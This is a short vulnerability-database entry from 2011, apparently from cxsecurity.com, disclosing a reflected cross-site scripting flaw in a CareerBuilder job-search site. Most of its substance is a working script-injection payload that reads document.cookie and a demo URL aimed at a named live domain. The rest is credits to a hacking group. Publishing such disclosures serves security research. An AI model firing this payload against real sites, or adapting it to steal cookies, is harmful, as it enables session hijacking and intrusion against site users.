CareerBuilder Cross Site Scripting

2011.11.21
Credit: Mr.PaPaRoSSe
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

# Exploit Title: CareerBuilder XSS # Date: 20.11.2011 - 05.50 # Author: Mr.PaPaRoSSe # Tested On: Win7 # Platform: Php ------------------------------------------------------------- search box "><script>alert(document.cookie)</script> DEMO http://www.eenbaan.nl/banen/zoeken/?keyword="><script>alert(document.cookie)</script> ------------------------------------------------------------- Contact: paparosse.blogspot.com Greetz: http://DarkDevilz.in/ ------------------------------------------------------------- 3spi0n - ALEXTRAX - sanTiq0 Deathless - ZyX - Tarxes 53rh4+ - bLaCk_uMo - PeRs syntaX - Mavi_Karalik - DarkCOD3R x-Leader - Cyborg - Y2J ~ And All DD'z Family ------------------------------------------------------------- #~ DarkDevilz - Defence And Destruction Group'z - TURKEY ~#


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top